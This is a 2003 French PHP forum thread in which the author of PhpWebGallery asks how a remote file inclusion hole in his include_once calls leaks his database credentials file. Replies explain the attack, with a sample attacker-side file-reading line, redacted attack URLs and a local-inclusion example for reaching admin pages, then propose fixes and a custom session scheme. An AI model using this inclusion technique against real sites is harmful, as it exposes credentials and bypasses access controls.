faille de sécurité dans mon script PhpWebGallery

faille de sécurité dans mon script PhpWebGallery - PHP - Programmation

Marsh Posté le 19-03-2003 à 23:22:43    

bonjour à tous,
 
Je réclame l'aide des gouroux du PHP, un gars vient de trouver une faille dans mon appli PhpWebGallery (voir lien dans ma signature) qui permet d'exploiter ce bout de code :

Code :
  1. include_once( $prefixe_include."./include/mysql.inc.php" );
  2. include_once( $prefixe_include."./include/functions.php" );


le gars mets dans son URL "prefixe_include=http://www.lalala.com/machin/&name=mysql.inc.php" et ça lui sort ensuite le fichier mysql.inc.php (qui contient les infos de connexion naturellement).
 
Bref, il doit y avoir un script qui renvoie un bout de code PHP qui s'exécute du côté du site d'origine et qui demande de lire et d'envoyer à la sortie le contenu du fichier "name".
 
Seulement voilà, j'ai bien mis include_once( $prefixe_include."./include/mysql.inc.php" ); donc avec un prefixe_include "http://www.lalala.com/machin/", ça va simplement faire include_once( "http://www.lalala.com/machin/./include/mysql.inc.php" );
 
Comment ça peut marcher ????  :cry:


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 19-03-2003 à 23:22:43   

Reply

Marsh Posté le 19-03-2003 à 23:33:29    

demande lui de te faire une demo  :p  parce que  :heink:

Reply

Marsh Posté le 19-03-2003 à 23:41:39    

je ne sais pas comment le joindre, c'est un de mes utilisateurs qui m'a contacté http://forum.phpwebgallery.net/ind [...] &f=1&t=773


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 00:40:59    

:lol: (pardon)
visiblement c'est très simple, il exécute sur le serveur distant son code. testé et approuvé :D
en faisant :
http://tonsite.com/include/config. [...] ql.inc.php
 
1. il se sert bien du code :
include_once( $prefixe_include."./include/mysql.inc.php" );
include_once( $prefixe_include."./include/functions.php" );
du fichier config.inc.php
 
ce qui donne après interprétation des arguments dans l'url :
include_once( "http://www.lalala.com/machin/./include/mysql.inc.php" );
include_once( "http://www.lalala.com/machin/./include/functions.php" );
s'il a ces 2 fichiers sur son site (pas spécialement avec le même contenu...) et qu'il s'arrange pour qu'ils soient envoyés SANS être interprétés, ils seront rapatriés chez toi et exécutés par TON serveur.
 
2. son script utilisé et inclu contient certainement une bête lecture du nom du fichier contenu en paramètre (name=mysql.inc.php).  Ce fichier est pris chez toi et il l'affiche à l'écran ou peut même directement modifier les fichiers de ton serveur...
ex : echo implode('', file($name));
 
ta grosse erreur consiste en
- l'utilisation des variables globales (mais bon... tout les serveurs ne le supportent pas)  
ex : Si tu ne les utilisais pas, le compilateur ferait la différence entre $prefixe_include et $HTTP_GET_VARS['prefixe_include']
( hé oui c'est là que ça devient utile... pour ceux qui ne le savaient pas ;) )
donc un passage dans l'url de prefixe_include n'aurait aucun effet.
- la non initialisation de la variable $prefixe_include. il est défini dans init.inc.php et dans isadmin.inc.php (et peut-être dans d'autres fichiers), mais pas si on accède directement à config.inc.php, c'est là le problème.
 
Comment n'y ai je pas songé plutôt... enfin, j'avais pas regardé ton code depuis la dernière fois.
 
bon pour corriger, tu dois... heu... c'est embêtant :(
si tu initialises $prefixe_include dans config.inc.php, tu perds la modularité..., mais tu gagnes en sécurité.
soit, simplement faire un test que $prefixe_include ne puisse contenir que '' ou '.' et surtout pas de "http://" (mais là c'est à toi de voir selon tes besoins)


Message édité par ethernal le 20-03-2003 à 01:44:53

---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 00:43:16    

z0rglub a écrit :

je ne sais pas comment le joindre, c'est un de mes utilisateurs qui m'a contacté http://forum.phpwebgallery.net/ind [...] &f=1&t=773


 
ben sur le lien que tu donnes toutes les infos pour comprendre ce qui se passe ont été surpprimé, donc c'est pas évident de cerner le pbm  [:proy]   (surtout que je connais pas la structure de ton appli)
 
edit: master ethernal est passé par là entre temps :whistle: et c'est plus clair


Message édité par dropsy le 20-03-2003 à 00:45:02
Reply

Marsh Posté le 20-03-2003 à 00:51:13    

dropsy a écrit :


edit: master ethernal est passé par là entre temps :whistle: et c'est plus clair


 
comme vous savez tout maintenant, à vous les hacks :D


---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 01:48:40    

jai cassé mon ninternet en telechargeant ta gallery pr voir les sources  :lol: .
 
Je voulais verifier les tests que tu faisais sur les variables utilisés en parametres de include() mais tt est dit .. donc dodo.
 
soit, simplement faire un test que $prefixe_include ne puisse contenir que '' ou '.' et surtout pas de "http://" (mais là c'est à toi de voir selon tes besoins)
 :jap:  
tu peux verifier que le chemin que tu vas donner en pature a ton include est bien sur le systeme de fichiers local. file_exists() je crois ... a creuser


Message édité par beleg le 20-03-2003 à 01:53:52
Reply

Marsh Posté le 20-03-2003 à 09:21:05    

justement, pour moi, l'impossible, c'est de faire include_once( "http://www.lalala.com/machin/./include/mysql.inc.php" ); à cause du "machin/./include" (le point....)
 
Je vais faire un test pour que ce prefixe soit à '' ou '.' et puis c'est tout, mais quand même je suis super étonné.
 
Merci ethernal (j'avoue que j'attendais ta réponse, le problème étant quasiment identique à la faille que tu avais décelé lors de la version 1.0)


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 11:20:28    

la nuit ayaynt porté ses fruits, j'ai une solution encore plus simple : utilise une constante.
define(PREFIXE_INCLUDE, '';);
define(PREFIXE_INCLUDE, '.';);
 
il n'est pas possible à ma connaissance de modifier une constante par url et comme tu ne le défini qu'une fois au chargement du fichier, ça s'y prête bien.


---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 11:25:09    

ethernal a écrit :

la nuit ayaynt porté ses fruits, j'ai une solution encore plus simple : utilise une constante.
define(PREFIXE_INCLUDE, '';);
define(PREFIXE_INCLUDE, '.';);
 
il n'est pas possible à ma connaissance de modifier une constante par url et comme tu ne le défini qu'une fois au chargement du fichier, ça s'y prête bien.


bonne idée, j'utilise peu les constantes mais je devrais parfois (ici ça me semble tout à fait adapté)


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 11:25:09   

Reply

Marsh Posté le 20-03-2003 à 11:26:44    

et sinon, tu saurais me dire comment c'est possible de faire un include avec un nom de rep qui s'appelle '.' ? http://www.lalala.com/machin/./include/config.inc.php...


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 11:33:23    

ça ne pose pas de problème à l'inclusion comme le dis Beleg
 
teste par toi même :
http://www.censured.com/phpgallery [...] include=tt
regarde les erreurs générées...
 
et si tu lui réinclus l'emplacement de sa propre page, les erreurs d'inclusion disparaissent, c'est qu'il a trouvé les fichiers
http://www.censured.com/phpgallery [...] hpgallery/


Message édité par ethernal le 20-03-2003 à 11:52:30

---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 11:43:40    

je vois quand même :

Code :
  1. Fatal error: Call to undefined function: get_moment() in /home/users/zelabo/www/phpgallery/include/config.inc.php on line 25


 
il fait pas d'erreur sur l'include mais il charge pas les fonctions de functions.inc.php


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 11:46:45    


ok je pensais pas que c'était possible
 
Note : je sais bien que '.' est le rep courant, j'ai tout de même un minimum de connaissance, PhpWebGallery, je l'ai programmé en entier ;-) (et puis sous linux en mode console, c'est le genre de truc qui peut servir)


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 11:50:37    

tout a fait, la raison est simple : l'inclusion distant de ses propres fichiers retourne des pages blanches puisque'elles sont interprétées lors du chargement.
(charge mysql.inc.php ou functions.inc.php dans ton browser, les pages sont vides)
 
je sais pas si j'ai été clair ?
qd tu fais un include distant, c'est comme si ton browser chargeait la page et le résultat est inclu dan la page php du serveur.
si ta page mysql.inc.php contenait <? echo 'test'; ?>
en faisant ce que tu fais plus haut, tu incluerais 'test'.
si maintenant ta page mysql.inc.php contenait <? echo '<? echo "test"; ?>'; ?>
en faisant ce que tu fais plus haut, tu incluerais 'echo "test"'.


---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 11:54:10    

z0rglub a écrit :

je vois quand même :
il fait pas d'erreur sur l'include mais il charge pas les fonctions de functions.inc.php


 
c'est bien la preuve qu'il charge la page incluse à distance et pas le fichier original (cfr mon post précédent)


---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 11:56:48    

ok, je vois, ça met du temps à rentrer, mais ça va. Faut donc bien comprendre que lors de l'include, si on utilise une URL, le fichier va être renvoyé interprêté et si on utilise un chemin, il ne le sera pas.


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 12:01:58    

exactement  :jap:  
tu l'expliques mieux que moi :D


---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 12:02:17    

youp,  
 
 
j'ai pas tout compris, mais vous pourriez me dire s'il y a alors des précautions à prendre lors d'un include ?
 
 
 
merci


Message édité par art_dupond le 20-03-2003 à 12:02:29

---------------
oui oui
Reply

Marsh Posté le 20-03-2003 à 12:05:51    

art_dupond a écrit :

j'ai pas tout compris, mais vous pourriez me dire s'il y a alors des précautions à prendre lors d'un include ?


lors d'un include, il faut toujours vérifier ce que tu inclus.
 
Par exemple, ne pas faire

Code :
  1. include ( $file );

sans tester la valeur de $file juste avant l'include.


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 12:09:25    

je teste qu'il n'y ait pas "http" c'est ca la morale de l'histoire :p ?


---------------
oui oui
Reply

Marsh Posté le 20-03-2003 à 12:14:02    

ouais, je pense que ça t'évitera déjà pas mal de désagrément !


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
Reply

Marsh Posté le 20-03-2003 à 12:14:52    

oui : pas inclure n'importe quoi !
 
si tu as une page a.php (ok)
<?
$prefixe= '/test/';
include('b.php';);
?>
 
une page b.php (danger)
<?
include($prefixe. 'd.php';);
?>
 
si je suis un vilain pirate, je vais charger ta page b.php (sans passer par la page a.php en lui transmettant une valeur pour $prefixe dans l'url de façon à charger le fichier que JE veux...
 
Sinon vérifier 'http' n'est pas suffisant... imagine une page qui en inclu une autre et une partie admin protégée par un .htaccess.
je pourrais inclure les fichier d'administration dans ta partie accessible à tout le monde et passer outre toute tes protection par mot de passe...
 
index.php
<?
 include($page); //avec vérif de non http si tu veux...
?>
 
http://tonsite.com/index.php?page=index -> ok
http://tonsite.com/index.php?page=admin/index -> charge ta page d'admin librement...
 


---------------
...oups kernel error...
Reply

Marsh Posté le 20-03-2003 à 12:28:03    

oki merci les gens :jap:


---------------
oui oui
Reply

Marsh Posté le 19-04-2003 à 17:23:04    

Je sais que j'arrives largement après la bataille mais j'ai une technique que je penses fiable pour éviter ce genre de trous de sécurité :
ne mettre que des fonctions ou des classes dans les fichiers inclus par d'autres. (plus avoir toutes les pages en .php3 ou .php évidemment ;) )
 
S'il n'y a aucune ligne de code en dehors des fonctions ou des classes, celui qui inclus le fichier a distance ou qui appelle le fichier a distance en passant tous les paramêtres qu'il veut ce retrouvera avec une page vide.
 
Il sera obligé de passer par une autre page sur le même site pour pouvoir provoquer l'exécution du code de la page et si les vérfications et initialisations sont bien réalisés dans ces pages là, on ne craind plus grand chôse. :)
 
C'est ma technique à moi, c'est peut être pas la meilleure ni la plus fiable, mais jusqu'à présent, au niveau de ma base de donnée, j'ai jamais détecté la moindre bizarerie et on m'a jamais parlé d'une faille de sécurité sur mon site.
Bon, il m'est quand même arrivé de faire une erreur de réglage des droits d'accés par défaut d'un visiteur identifié mais c'était pas une erreur au niveau du code.

Reply

Marsh Posté le 19-04-2003 à 17:52:25    

omega2 a écrit :

Je sais que j'arrives largement après la bataille mais j'ai une technique que je penses fiable pour éviter ce genre de trous de sécurité :
ne mettre que des fonctions ou des classes dans les fichiers inclus par d'autres. (plus avoir toutes les pages en .php3 ou .php évidemment ;) )
 
S'il n'y a aucune ligne de code en dehors des fonctions ou des classes, celui qui inclus le fichier a distance ou qui appelle le fichier a distance en passant tous les paramêtres qu'il veut ce retrouvera avec une page vide.
 
Il sera obligé de passer par une autre page sur le même site pour pouvoir provoquer l'exécution du code de la page et si les vérfications et initialisations sont bien réalisés dans ces pages là, on ne craind plus grand chôse. :)
 
C'est ma technique à moi, c'est peut être pas la meilleure ni la plus fiable, mais jusqu'à présent, au niveau de ma base de donnée, j'ai jamais détecté la moindre bizarerie et on m'a jamais parlé d'une faille de sécurité sur mon site.
Bon, il m'est quand même arrivé de faire une erreur de réglage des droits d'accés par défaut d'un visiteur identifié mais c'était pas une erreur au niveau du code.


 
je fais pareil. Et en plus, sur chaque page, je vérifie la session...  :whistle:

Reply

Marsh Posté le 19-04-2003 à 18:01:00    

Hermes le Messager a écrit :


 
je fais pareil. Et en plus, sur chaque page, je vérifie la session...  :whistle:  

j'ai fait mon propre système de session et je vérifie l'ID de session, l'IP et un code aléatoire définis à l'ouverture de la session. Si ca corespond pas, je considère que l'ID = 0 ce qui veut dire pas de session ouverte et donc on tombes dans les droits par défaut pour un visiteur inconu. :)
Au début, mon code aléatoire pouvait contenir des codes spéciaux mais j'ai eu des problèmes de relecture de la valeur (code tronqué par le navigateur ou par le serveur alors que la valeur était bonne dans le cookie) et du coup, je les aient enlevé de la lsite des codes possibles. ;)

Reply

Marsh Posté le 19-04-2003 à 18:35:52    

omega2 a écrit :

j'ai fait mon propre système de session et je vérifie l'ID de session, l'IP et un code aléatoire définis à l'ouverture de la session. Si ca corespond pas, je considère que l'ID = 0 ce qui veut dire pas de session ouverte et donc on tombes dans les droits par défaut pour un visiteur inconu. :)
Au début, mon code aléatoire pouvait contenir des codes spéciaux mais j'ai eu des problèmes de relecture de la valeur (code tronqué par le navigateur ou par le serveur alors que la valeur était bonne dans le cookie) et du coup, je les aient enlevé de la lsite des codes possibles. ;)


 
j'avais pensé faire également mon propre système de session. Peux-tu me dire comment tu as procédé exactement ? ça m'intéresse (lié au bug de php concernant le XHTML 1.1 avec les sessions et les formualaires --> discussion qu'on avait eu ici).
 

Reply

Marsh Posté le 19-04-2003 à 19:26:14    

Hermes le Messager a écrit :


 
j'avais pensé faire également mon propre système de session. Peux-tu me dire comment tu as procédé exactement ? ça m'intéresse (lié au bug de php concernant le XHTML 1.1 avec les sessions et les formualaires --> discussion qu'on avait eu ici).
 
 

Ben en fait, j'ai fait simple.
J'ai une base de donnée (mysql) avec une table user contenant plusieurs colones dont l'id (unique auto incrément, id interne au site, et jamais envoyé vers le navigateur sauf pour une partie de la section d'administration) nom, pseudo (codé avec password() de mysql) et une autre pour dévalider certains comptes. (libération du pseudo)  
J'ai une autre table contenant l'id de session, le code aléatoire, le numéro d'utilisateur, la date/heure d'ouverture de la session et la date/heure de dernière visite, l'IP du visiteur.
 
Quand la personne cherche à se loguer, je vérifies le couple nom/mot de passe.  
 
S'il est valide:
 
je récupères l'id corespondant.
je génère, le code aléatoire.
Je créé une nouvelle ligne dans la table session contenant les deux valeurs précédante et en mettant la date/heure actuelle comme date/heure d'ouverture de la session et du dernier passage (dernier passage servant à indiquer les personnes identifié qui sont "présentes" sur le site a un moment donné) et l'IP du visiteur.
Je récupères l'id de cette ligne et la stocke dans le cookie ainsi que le code de vérification.
 
Quand la personne repase, je vérifie que sa session est encore valide (grace à la première date) et qu'elle corespond bien à ce qui est indiqué dans son cookie. (code de vérification et IP corespondant à l'identifiant de session)
 
Jusqu'à présent, je ne pouvais pas vérifier si les cookies était désactivé ou pas mais grace au système stat, je peux le vérifier (valeur mise dans le cookie dès le premier passage pour pas compter une nouvelle visite pour chaque page s'il n'y en a eu qu'une seule en réalité). Du coup, je modifierais mon site pour passer ces infos par les liens si ca devient vraiment nécessaire.
 
Si on veut plus de sécutité, on peut rajouter l'identifiant du navigateur, comme ça ca réduit encore les risques. :)

Reply

Marsh Posté le 19-04-2003 à 20:30:52    

Très intéressant tout ça. Je vais étudier ça de près et faire des tests pour voir si je n'alourdis pas trop mon forum en faisant comme cela.
 
Merci pour toutes ces précisions.

Reply

Marsh Posté le 19-04-2003 à 21:05:47    

Tu me tiendras au courant de tes essaies j'espère. ;)

Reply

Marsh Posté le 19-04-2003 à 21:30:27    

omega2 a écrit :

Tu me tiendras au courant de tes essaies j'espère. ;)


 
Pas de problèmes. Mon forum avance tranquillou ;)
 
Je te tiendrais au courant ainsi que toute la section quand il sera fini.

Reply

Marsh Posté le    

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed